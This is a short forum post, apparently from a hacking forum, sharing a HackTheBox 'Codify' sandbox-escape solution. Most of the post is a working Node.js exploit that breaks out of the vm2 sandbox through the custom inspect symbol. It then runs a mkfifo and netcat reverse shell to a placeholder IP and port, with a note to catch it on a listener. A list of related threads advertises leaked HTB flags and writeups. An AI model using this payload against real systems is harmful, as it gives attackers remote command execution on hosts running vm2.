HTB codify sandbox escape
by flippy0x00 - Saturday November 18, 2023 at 08:49 PM
#1
Tongue 
const {VM} = require("vm2"); const vm = new VM(); const code = ` const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom'); obj = {     [customInspectSymbol]: (depth, opt, inspect) => {         inspect.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc IP PORT >/tmp/f');     },     valueOf: undefined,     constructor: undefined, } WebAssembly.compileStreaming(obj).catch(()=>{}); `; vm.run(code);

Just run a netcat listener on whatever port to catch the rev shell
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 365 113,452 08-28-2026, 07:30 PM
Last Post: N1GHTC0D3
  HTB Eloquia User and Root Flags - Insane Box 69646B 14 17,651 08-21-2026, 07:27 PM
Last Post: tangol
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 94 26,274 08-21-2026, 06:20 AM
Last Post: jamoski
  [FREE] HTB-ProLabs APTLABS Just Flags kewlsunny 25 19,541 08-15-2026, 06:06 PM
Last Post: m4573rx
  HTB - ALL Challenges you Stuck in osamy7593 3 17,694 08-15-2026, 01:58 AM
Last Post: 0xIDA



 Users browsing this thread: 1 Guest(s)